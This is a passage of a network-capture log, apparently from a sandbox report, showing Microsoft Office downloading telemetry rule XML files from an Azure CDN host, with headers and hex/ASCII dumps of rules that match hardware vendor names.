<?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:02 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a4488d51-301e-0096-053f-38e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200402Z-164f84587bf6n6jwhC1DFW90fn00000005kg000000003mda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:02 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:02 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: fd17b6df-e01e-0033-4eef-394695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200402Z-16547b76f7fpdsp9hC1DFW8f5000000003s000000000xeea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:02 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200402Z-16547b76f7fht2hfhC1DFWbngg00000006r0000000007yw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:03 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 18e8abea-801e-0035-0dc3-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200403Z-164f84587bffvwt9hC1DFW2ktw000000042g000000005a2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:03 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200403Z-1866b5c5fbbr78bbhC1DFWqz2n00000006g0000000001nz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:03 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200403Z-16547b76f7fqqjnnhC1DFWxv7400000004g000000000tc59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:03 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:03 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 0e1cc1b7-001e-0066-7a9a-36561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200403Z-164f84587bfghdt4hC1DFWu5nn000000060000000000ruvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:03 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:03 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:03 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200403Z-1866b5c5fbblmztchC1DFWs6v400000004rg00000000vtaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:04 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:04 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200404Z-16547b76f7fsq6p7hC1DFWfx6800000004r000000000gm14 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:04 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:04 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 53be5548-701e-001e-61f2-39f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200404Z-164f84587bf6h2bxhC1DFWbcm800000006m00000000010fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:04 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200404Z-16547b76f7f9s8x7hC1DFWywrg000000061000000000kz38 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:04 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200404Z-16547b76f7fwggrphC1DFW2a8s000000052g00000000u87f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
